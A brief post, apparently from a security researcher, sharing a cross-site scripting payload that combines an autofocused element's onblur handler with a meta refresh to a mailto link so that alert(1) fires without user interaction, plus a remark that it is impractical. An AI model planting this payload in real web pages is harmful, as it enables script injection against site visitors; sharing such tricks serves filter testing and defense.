This is really cool but definitely not useful in practice, imagine you visit a stored XSS page and you get a mailbox to your face .. you'd be suspicious.
XSS payload that triggers onblur without user interaction. It also works for onfocusout
<bla tabindex=1 onblur=alert(1) autofocus></bla><meta http-equiv="refresh" content=1;URL=mailto:[email protected]">
